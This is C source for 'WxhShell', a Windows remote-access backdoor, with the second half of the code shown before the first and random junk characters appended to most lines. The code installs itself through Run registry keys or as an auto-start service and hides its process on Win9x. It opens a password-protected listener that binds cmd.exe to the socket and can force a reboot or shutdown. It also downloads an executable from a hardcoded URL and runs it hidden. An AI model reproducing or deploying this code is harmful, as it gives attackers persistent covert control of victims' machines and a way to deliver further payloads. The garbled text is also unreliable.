    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %**f`L%jN  
    if(Boot(SHUTDOWN)) O`5,L[i1y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gt`7i(  
    else { ?{ir$M  
    closesocket(wsh); 4%(Ji  
    ExitThread(0); Cx7-I0!  
    } f`9Mcli !  
    break; V ;T :Q%  
    } A6&*VD  
  // 获取shell d#ir=+o{h  
  case 's': { G7%bY  
    CmdShell(wsh); gYKz,$  
    closesocket(wsh); 2B,O/3y  
    ExitThread(0); Ed9Uw 7  
    break; /A=w`[<  
  } 6%v9o?:~l  
  // 退出 -=ZL(r 1  
  case 'x': { .G0 N+)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sXIYl% d  
    CloseIt(wsh); 7;'33Bm*  
    break; y~SVD@  
    } J +6zV m  
  // 离开 @A/k"Ax{r  
  case 'q': { _P;D.>?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [,zq  
    closesocket(wsh); 4U}qrN~=  
    WSACleanup(); "/W[gP[y%  
    exit(1); Ni,nQ;9  
    break; uDF;_bli)H  
        } Fhoyji4  
  } OZ[YB  
  } Yd^@Ei9  
G=zWhqieh  
  // 提示信息 !gsvF\XDM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H];B?G';C  
} G-aR%]7$g  
  } M+/xw8}a  
5(1:^:LGK  
  return; -3I3 X  
} $NXP)Lic)  
wKV4-uyr  
// shell模块句柄 ud1M-lY\U  
int CmdShell(SOCKET sock) .Eao|;  
{ \CbJU  
STARTUPINFO si; UtZ,q!sg  
ZeroMemory(&si,sizeof(si)); C-'hXh;hQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {1W:@6tl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NxT"A)u  
PROCESS_INFORMATION ProcessInfo; K5""%O+  
char cmdline[]="cmd"; :{lwz#9V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GIC1]y-'  
  return 0; "}4%vZz  
} 1yy?1&88S  
<xOv8IQ|  
// 自身启动模式 wQkM:=t5  
int StartFromService(void) +.G"ool  
{ s{hKl0ds  
typedef struct UO/sv2CN  
{ ()3\(d5e  
  DWORD ExitStatus; N ##`  
  DWORD PebBaseAddress; _7 3q,3`24  
  DWORD AffinityMask; ,"(L2+Yp  
  DWORD BasePriority; 7N.b-}$(  
  ULONG UniqueProcessId; >DqF>w.1  
  ULONG InheritedFromUniqueProcessId; :6^7l/p  
}   PROCESS_BASIC_INFORMATION; ?$r`T]>`2  
0XHQ 5+"8  
PROCNTQSIP NtQueryInformationProcess; PNU(;&2<  
E-e(K8R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U84W(X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P]E-Wp'p  
j0jl$^  
  HANDLE             hProcess; q'2vE;z Kb  
  PROCESS_BASIC_INFORMATION pbi; AOf4y&B>q  
6*OL.~WE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~(5r+Z}*`  
  if(NULL == hInst ) return 0; k9|5TLXq?  
0D X_ *f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .6B\fr.za  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <g4}7l8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .R9Z$Kbq  
e|~MJu+1  
  if (!NtQueryInformationProcess) return 0; XR5KJl  
Xlo7enzY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5E:$\z;  
  if(!hProcess) return 0; 5of3&  
zM0NRERi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I<SgKva;c  
k$EVr([  
  CloseHandle(hProcess); K|& f5w  
zmMc*|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /r}L_wI  
if(hProcess==NULL) return 0; wBPo{  
ITu19WG  
HMODULE hMod; YFKE>+  
char procName[255]; G)3I+uxn  
unsigned long cbNeeded; _;<!8e$C  
1+o]+Jz|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3>,}N9P-v  
!<bwg  
  CloseHandle(hProcess); !_S>ER  
boh?Xt-$  
if(strstr(procName,"services")) return 1; // 以服务启动 a"8[,A3  
s6H'}[E<  
  return 0; // 注册表启动 95DEuReKi  
} Zed Fhm  
xQy,1f3s+  
// 主模块 tAX* CMW  
int StartWxhshell(LPSTR lpCmdLine) rS8a/d~;0  
{ &)eg3P)7  
  SOCKET wsl; (FuIOR  
BOOL val=TRUE; 4<s.|W`  
  int port=0; bOY;IB _  
  struct sockaddr_in door; gk]QR.  
"Fz.# U  
  if(wscfg.ws_autoins) Install(); "gM^o  
>rnVT K  
port=atoi(lpCmdLine); Z$oy;j99y  
h}bfZL  
if(port<=0) port=wscfg.ws_port; E?m~DYnU  
q76POytV|  
  WSADATA data; 'CLZ7 pV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jDzQw>T X  
1Pf(.&/9_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S_}`'Z )  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cj5mM[:s  
  door.sin_family = AF_INET; :<% bAn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nHK(3Z4G  
  door.sin_port = htons(port); V\~.  
5dBftTv?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %36x'Dn ?  
closesocket(wsl); }xZi Ct  
return 1; &&ioGy}1  
} %p Wn9  
.nV2 n@SR  
  if(listen(wsl,2) == INVALID_SOCKET) { HL)!p8UHJ  
closesocket(wsl); ~lj~]j  
return 1; 0D-`>_  
} E-LkP;  
  Wxhshell(wsl); Ob d n#Wm=  
  WSACleanup(); $JE,u' JQ  
!(s n9z#  
return 0; e3~MU6  
a6p0_-MF  
}  0^;2  
Kg@'mG  
// 以NT服务方式启动 f%Q)_F[0D4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +`y(S}Z  
{ =KRM`_QShg  
DWORD   status = 0; TS<d?:  
  DWORD   specificError = 0xfffffff; /-=fWtA  
lFBdiIw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <}a?<):S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m 0HK1'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .hTqZvDa  
  serviceStatus.dwWin32ExitCode     = 0; =w2 4(S  
  serviceStatus.dwServiceSpecificExitCode = 0; PK*Wu<<  
  serviceStatus.dwCheckPoint       = 0; \0$+*ejz  
  serviceStatus.dwWaitHint       = 0; Q PH=`s  
A=|XlP$6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3^xUN|.F*V  
  if (hServiceStatusHandle==0) return; UBvp3 2p  
i,Ct AbMx  
status = GetLastError(); uo F.f$%"  
  if (status!=NO_ERROR) "hkcN+=  
{ ?HEqv$n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T^bA O-d#  
    serviceStatus.dwCheckPoint       = 0; ~o}:!y  
    serviceStatus.dwWaitHint       = 0; PK\ZRl  
    serviceStatus.dwWin32ExitCode     = status; n. %QWhUB  
    serviceStatus.dwServiceSpecificExitCode = specificError; >KKWhJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q? ,PFvs"  
    return; mvn- QP~"  
  } F%>$WN#2  
 C=D*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1ni+)p>]  
  serviceStatus.dwCheckPoint       = 0; XcR=4q|7  
  serviceStatus.dwWaitHint       = 0; ^'UM@dd?!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N['DqS =  
} tr<~:&H4T  
wmVmGa R  
// 处理NT服务事件,比如:启动、停止 Pk?$\  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  *7m lH  
{ TG2#$Bq1  
switch(fdwControl) ]uXJjS f  
{ 0B6!$) *-i  
case SERVICE_CONTROL_STOP: ~(kEGEF  
  serviceStatus.dwWin32ExitCode = 0; os V6=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GT{4L]C  
  serviceStatus.dwCheckPoint   = 0; 72HA.!ry  
  serviceStatus.dwWaitHint     = 0; D%SOX N  
  { #~0Nk6*u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J}|X  
  } \C~X_/sg  
  return; x#{!hL 5G  
case SERVICE_CONTROL_PAUSE: LI,wSTVjC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '/ Aq2  
  break; g_>&R58  
case SERVICE_CONTROL_CONTINUE: y^2#;0W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h5?^MRZS  
  break; T"wg/mT  
case SERVICE_CONTROL_INTERROGATE: 6?Ncgj &@  
  break; Om3Ayk}  
};  ?kjQ_K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^WA7X9ed  
} F^,:p.ihm<  
$]7f1U_e  
// 标准应用程序主函数 1U\ap{z@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {16a P  
{ 'g#%>  
)~2\4t4|g  
// 获取操作系统版本 2mLZ4 r>WE  
OsIsNt=GetOsVer(); @K;b7@4y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n 0!8)Sth  
5es t  
  // 从命令行安装 ~nZcA^b#DQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5xH=w:  
fit{n]g  
  // 下载执行文件 EJ:O 1  
if(wscfg.ws_downexe) { Y6{^cZ!=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {}$9 70y  
  WinExec(wscfg.ws_filenam,SW_HIDE); :Cq73:1\B  
} Yf0 KG  
}[+uHR6L  
if(!OsIsNt) { =Rd`"]Mnfb  
// 如果时win9x,隐藏进程并且设置为注册表启动 JCWTB`EB>  
HideProc(); "@ >6<(Ki  
StartWxhshell(lpCmdLine); +pd,gG?dW  
} X[tt'5  
else s-p)^B  
  if(StartFromService()) '-wmY?ZFxy  
  // 以服务方式启动 pcMzLMG<  
  StartServiceCtrlDispatcher(DispatchTable); !GOaBs  
else 0X)vr~`  
  // 普通方式启动 +\!.X _Ij  
  StartWxhshell(lpCmdLine); Ak[X`e T  
{FI zoR"  
return 0; N'{[BA(eE  
} O|Uz)Y94  
*-0s ` rC  
9 qx4F<   
}`R,C~-|^  
=========================================== uq5?t  
4`O[U#?  
$;v! ,>  
?(ORk|)kU  
J[lC$X[  
Hq.rG-,p  
" eV7;#w<]  
Vr2A7kq  
#include <stdio.h> gP_N|LuF"  
#include <string.h>  : (UK'i  
#include <windows.h> uFr12ZFgK  
#include <winsock2.h> "FHJ_$!  
#include <winsvc.h> Q,?_;,I}  
#include <urlmon.h> /@:X0}L  
^ `LqNG  
#pragma comment (lib, "Ws2_32.lib") P2n8HFi  
#pragma comment (lib, "urlmon.lib") cSL6V2F  
*\ii +f-  
#define MAX_USER   100 // 最大客户端连接数 I`_2Q:r  
#define BUF_SOCK   200 // sock buffer Snr(<u  
#define KEY_BUFF   255 // 输入 buffer l";Yw]:^  
f' A$':Y  
#define REBOOT     0   // 重启 fHiL%]z  
#define SHUTDOWN   1   // 关机 ElO|6kOBYG  
^4=#, K  
#define DEF_PORT   5000 // 监听端口 Q/o,2R  
~n=DI/AJ@-  
#define REG_LEN     16   // 注册表键长度 h@RpS8!Bi  
#define SVC_LEN     80   // NT服务名长度 Ysm RY=3  
fcq8aW/z_  
// 从dll定义API d(IJ-qJ N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i l^;2`]&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ("U<@~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JrcbJt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b1Vr>:sK47  
4,y7a=qf3  
// wxhshell配置信息 f*%kHfaXgN  
struct WSCFG { !Yof%%m$;  
  int ws_port;         // 监听端口 X>I3N?5  
  char ws_passstr[REG_LEN]; // 口令 U["0B8  
  int ws_autoins;       // 安装标记, 1=yes 0=no r+#{\~r7T  
  char ws_regname[REG_LEN]; // 注册表键名 x2v0cR"KL  
  char ws_svcname[REG_LEN]; // 服务名 N7?]eD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )rEl{a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c64^u9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !!\}-r^y%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @}y.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HOx4FXPs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oq7G=8gTp  
gnJ8tuS  
}; a0NiVF-m%  
jG>W+lq  
// default Wxhshell configuration 9#9 UzKX#  
struct WSCFG wscfg={DEF_PORT, }MaY:PMA  
    "xuhuanlingzhe", WW:G( \`  
    1, ^ ]9K>}  
    "Wxhshell", _}R9!R0O  
    "Wxhshell", Vn5T Jw  
            "WxhShell Service", 7y$\|WG?!r  
    "Wrsky Windows CmdShell Service", ((ebSu2-?$  
    "Please Input Your Password: ", A}ZZQ  
  1, :k\#=u(  
  "http://www.wrsky.com/wxhshell.exe", y#Dh)~|k  
  "Wxhshell.exe" "t^v;?4  
    }; & /8Tth86  
40?RiwwD  
// 消息定义模块 qyM/p.mP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J>(X0@eWz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TuQGF$n@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =~ Uhr6Q  
char *msg_ws_ext="\n\rExit."; I|rb"bG  
char *msg_ws_end="\n\rQuit."; |Gic79b  
char *msg_ws_boot="\n\rReboot..."; 9FDu{4:  
char *msg_ws_poff="\n\rShutdown..."; vRe{B7}p;  
char *msg_ws_down="\n\rSave to "; |aDBp  
~N!HxQ  
char *msg_ws_err="\n\rErr!"; k6CXuU  
char *msg_ws_ok="\n\rOK!"; ;VE y{%nF  
m* m),mZ"  
char ExeFile[MAX_PATH]; -,bnj^L  
int nUser = 0; 811>dVq3/  
HANDLE handles[MAX_USER]; #gbB// <  
int OsIsNt; 2.3_FXSt  
[6a-d> e{  
SERVICE_STATUS       serviceStatus; l!*_[r   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +gd5&  
Ef]Hpjvp  
// 函数声明 3en 9TB  
int Install(void); mG S4W;  
int Uninstall(void); z>W:+W"o  
int DownloadFile(char *sURL, SOCKET wsh); ^}+\52w  
int Boot(int flag); >._d2.Q'  
void HideProc(void); Uxjc&o  
int GetOsVer(void); -leX|U}k  
int Wxhshell(SOCKET wsl); Q]9$dr=Kk0  
void TalkWithClient(void *cs); oz&`3`  
int CmdShell(SOCKET sock); 6:5K?Yo  
int StartFromService(void); )R7Sh51P  
int StartWxhshell(LPSTR lpCmdLine); C6)Y ZC  
~&RTLr#\*M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -'Z Gc8)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .I:rb~ &  
>[ B.y  
// 数据结构和表定义 s#Dj>Fej  
SERVICE_TABLE_ENTRY DispatchTable[] = {<yapBMw  
{ #Ha:O,|  
{wscfg.ws_svcname, NTServiceMain}, ) lUS'I  
{NULL, NULL} ^Wld6:L{I  
}; tLu&3<%  
E7$&:xqx  
// 自我安装 [[|#}D:L  
int Install(void) (~DW_+?]'  
{ 9w-\K]  
  char svExeFile[MAX_PATH]; *s4|'KS2o  
  HKEY key; [Vs\r&qL  
  strcpy(svExeFile,ExeFile); iaL@- dg  
~ YH?wdT  
// 如果是win9x系统,修改注册表设为自启动 i >3`V6  
if(!OsIsNt) { ?W'z5'|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nkHl;;WJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s!(R  
  RegCloseKey(key); L3{(B u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -+E.I*st  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^xHKoOTj[  
  RegCloseKey(key); Xc-["y64  
  return 0; YF{MXK}  
    } .\caRb[  
  } ]nsjYsT  
} y`RzcXblIZ  
else { dgP e H8_  
;g0s1nz  
// 如果是NT以上系统,安装为系统服务 rMwa6ZO'm;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jf3Zy :*K  
if (schSCManager!=0) n=!T (Hk  
{ 4K^cj2 X  
  SC_HANDLE schService = CreateService 4o#]hB';ni  
  ( B_d\eD  
  schSCManager, !R@LC  
  wscfg.ws_svcname, gC?}1]9c  
  wscfg.ws_svcdisp, k'iiRRM  
  SERVICE_ALL_ACCESS, J2qsZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (1z"=NCp  
  SERVICE_AUTO_START, ]({ -vG\m  
  SERVICE_ERROR_NORMAL, ExG(*[l  
  svExeFile, |:S6Gp[\O  
  NULL, 2}&ERW  
  NULL, IRbyW?/Xv  
  NULL, kQ>2W5o-d-  
  NULL, ^t'mW;C$4  
  NULL h8(#\E  
  ); eKr>>4,-P  
  if (schService!=0) [+o{0o>  
  { d[t0K]  
  CloseServiceHandle(schService); _s;y0$O  
  CloseServiceHandle(schSCManager); Q# hRnM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6Rfv3  
  strcat(svExeFile,wscfg.ws_svcname); 4<[?qd 3v=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; $rQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4r$#-  
  RegCloseKey(key); xVPSL#>  
  return 0; a*(Zb|g  
    } S #GxKMO%  
  } Vq3NjN!+5  
  CloseServiceHandle(schSCManager); <.)=CK  
} c';~bYZ  
} Fu.aV876\f  
&6\&McmkX  
return 1; yu6~:$%H  
} 9(]_so24,  
cB,^?djJ3  
// 自我卸载 *fm?"0M5  
int Uninstall(void) PzPNvV/o  
{ 437Wy+Q|e  
  HKEY key; +nR("Il  
eP2Q2C8g  
if(!OsIsNt) { dSwfea_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _YX% M|#  
  RegDeleteValue(key,wscfg.ws_regname); 04U|Frc  
  RegCloseKey(key); }tt%J[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &m--}  
  RegDeleteValue(key,wscfg.ws_regname); 5x@ U<  
  RegCloseKey(key); h.tj8O1  
  return 0; tEL;,1  
  } L<V20d9  
} b=Nsz$[  
} !5dn7Wuj  
else { oVw4M2!"K  
%ZoJu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n@`3O'S  
if (schSCManager!=0) w}1IP-  
{ `)a|Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4&NB xe  
  if (schService!=0) TzC(YWt  
  { ,P <I<QYu  
  if(DeleteService(schService)!=0) {  _ %mm  
  CloseServiceHandle(schService); F,_cci`p  
  CloseServiceHandle(schSCManager); ),{3LIr  
  return 0; 2M+RA}dX  
  } /eHf8l  
  CloseServiceHandle(schService); lSR\wz*Fk  
  } L~ax`i1:"  
  CloseServiceHandle(schSCManager); XF: wsC  
} EG\L]fmD  
} U>t:*SNC*  
.g/!u(iy  
return 1; VQ!4( <XD  
} 9]3l'  
r5&c!b\  
// 从指定url下载文件 ScJ:F-@>  
int DownloadFile(char *sURL, SOCKET wsh) xd3mAf  
{ cPIyD?c  
  HRESULT hr; L^e*_q2d:>  
char seps[]= "/"; !}c D e12  
char *token; @16y%]Q-E#  
char *file; IRM jL.q  
char myURL[MAX_PATH]; %enJ[a%Qg  
char myFILE[MAX_PATH]; ` .`:~_OE  
]}SV%*{ %  
strcpy(myURL,sURL); R{}_Qb  
  token=strtok(myURL,seps); !& c%!*  
  while(token!=NULL) > X  AB#  
  { (NUXK  
    file=token; f]1 $`  
  token=strtok(NULL,seps); o,k#ft<  
  } Ty b_'|?rW  
T\wOGaCW  
GetCurrentDirectory(MAX_PATH,myFILE); x75;-q  
strcat(myFILE, "\\"); RCqL~7C+ k  
strcat(myFILE, file); 3Dc^lfn  
  send(wsh,myFILE,strlen(myFILE),0);  ~@@t-QY  
send(wsh,"...",3,0); F@/syX;bb5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TJ>YJ D  
  if(hr==S_OK) kk126?V]_  
return 0; w32F?78]  
else AkjoD7.*  
return 1; h1>.w pr  
w 8o?wx*  
} -C^qN7Bz  
.~'q yD2V  
// 系统电源模块 Ge$&k  
int Boot(int flag) Q3lVx5G>4  
{ >ptI!\i}  
  HANDLE hToken; Q m9b:U~  
  TOKEN_PRIVILEGES tkp; xG~-.  
D vEII'-h  
  if(OsIsNt) { Wm8BhO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3s BWtz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qvny$sr2  
    tkp.PrivilegeCount = 1; hW,GsJ,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \^F6)COy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0jp y c  
if(flag==REBOOT) { ;F_&h#D]3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?{Xp'D\z  
  return 0; s5 Fn("h]n  
} yPbOiA*lHz  
else { HH!SqkwT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IKp(KlA  
  return 0; 6w<p1qhW  
} UL7%6v{'*  
  } ~R|fdD/%  
  else { + $~HRbo  
if(flag==REBOOT) { AO$aWyI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^1}ffE(3>  
  return 0; +&AU&2As  
} u@wQ )^  
else { bv[*jr;45  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,v| vgt  
  return 0; [-[|4|CnOm  
} fv3)#>Dgp>  
} /7*qa G  
[0+5 Gx  
return 1; h^9Ne/s~  
} (K"t</]  
Q6Zh%\+h(  
// win9x进程隐藏模块 '9wD+'c=A  
void HideProc(void) s|!b: Ms`  
{ D/{Spw@  
_ )^n[_E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qzk/oH s  
  if ( hKernel != NULL ) A[d'*n[  
  { ] )x z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Iq": U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9aqFdlbY  
    FreeLibrary(hKernel); $PbN=@  
  } Y@'1}=`J  
"ZVBn!  
return; 8<^6<c  
} ^_ZQf  
:kI x?cc  
// 获取操作系统版本 .uagD[${  
int GetOsVer(void) d>4e9M "  
{ bOmM~pD  
  OSVERSIONINFO winfo; o9HDxS$~^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ll&5#q  
  GetVersionEx(&winfo); +ACV,GG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;v+CQx  
  return 1; OEGAwP?F  
  else oB Bdk@  
  return 0; [76mgj!K  
} f{Y|FjPp=E  
cl7+DAE  
// 客户端句柄模块 zck |jhJ6  
int Wxhshell(SOCKET wsl) f<'&_*7,|t  
{ N<Q}4%^c  
  SOCKET wsh; 4_I,wG@  
  struct sockaddr_in client; Iei4yDv ;  
  DWORD myID; J&:0ytG  
+TX p;6pA  
  while(nUser<MAX_USER) dl$l5z\  
{ _5YL !v&  
  int nSize=sizeof(client); s9:2aLZ {  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y.*lO  
  if(wsh==INVALID_SOCKET) return 1; Q}Vho.N@=  
!%M-w0vC9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :U[_V4? 7  
if(handles[nUser]==0) E 0pF; P5  
  closesocket(wsh); CX'E+  
else s9GPDfZ  
  nUser++; c!\y\r  
  } $BBfsaJPT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /s*>V@Q  
\T]"pE+8l  
  return 0; UZX)1?U  
} >qUO_>  
8"* $e I5  
// 关闭 socket ujWHO$uz!  
void CloseIt(SOCKET wsh) ?h3Ow`1G  
{ m<f{7]fi5  
closesocket(wsh); d<b,LD^  
nUser--; E:E &Wv?r  
ExitThread(0); =L wX+c  
} `Zi#rr|)L  
SCH![Amq  
// 客户端请求句柄 o%9>elOju  
void TalkWithClient(void *cs) -MEz`7c~  
{ Gf]s?J^a  
Pd;ClMa%  
  SOCKET wsh=(SOCKET)cs; EIEq[`h  
  char pwd[SVC_LEN]; E;d 5$  
  char cmd[KEY_BUFF]; CC-:dNb  
char chr[1]; gX _BJ6  
int i,j; J+|ohA  
q@-qA]  
  while (nUser < MAX_USER) { 7VXeu+-P  
835Upj>  
if(wscfg.ws_passstr) { CGe'z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lM1!2d'P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R39R$\  
  //ZeroMemory(pwd,KEY_BUFF); KE&}*Nf[  
      i=0; G-^ccdT  
  while(i<SVC_LEN) { W=\dsdnu*  
_TXV{<E6  
  // 设置超时 omA*XXUx=8  
  fd_set FdRead; ` U3  
  struct timeval TimeOut; F i/G, [q  
  FD_ZERO(&FdRead); ZAH<!@qh  
  FD_SET(wsh,&FdRead); U?lu@5 ^Z  
  TimeOut.tv_sec=8; O]g+z$2o  
  TimeOut.tv_usec=0; -9*WQU9R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l9ihW^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ty|HXW  
fBOPd =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ge oN4  
  pwd=chr[0]; 6qJB"_.  
  if(chr[0]==0xd || chr[0]==0xa) { 66Xt=US  
  pwd=0; |\(/dXXP  
  break; %UJ4wm  
  } )x7hhEk=^  
  i++; *vO'Z &  
    } oX4uRc7wR  
GKtQ>39B  
  // 如果是非法用户,关闭 socket 5#o,]tP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (*x "6)`  
} <"+C<[n.  
RM+E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KRZV9AJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U.F65KaKF  
PK4UdT  
while(1) { NGY I%:  
qi2dTB  
  ZeroMemory(cmd,KEY_BUFF); iP%=Wo.  
)\;r V';  
      // 自动支持客户端 telnet标准   [E~TYk;  
  j=0; E}=,"i  
  while(j<KEY_BUFF) { 8vw]u_e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xt84Evo  
  cmd[j]=chr[0]; \IfgL$+  
  if(chr[0]==0xa || chr[0]==0xd) { (B-9M)  
  cmd[j]=0; 5w1[KO#K|  
  break; X8x>oV;8  
  } 7$=@q|$  
  j++; +3>4 ?,^g  
    } ;LE @Ezx  
fdG.=7`  
  // 下载文件 6I#DlAU@v  
  if(strstr(cmd,"http://")) { $IT9@}*{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wcf_5T  
  if(DownloadFile(cmd,wsh)) ACYn87tq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;alFK*K6  
  else bVHi3=0{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |pR$' HO  
  } [ d7]&i}*|  
  else {  vB*oI~<  
8!6*|!,:?n  
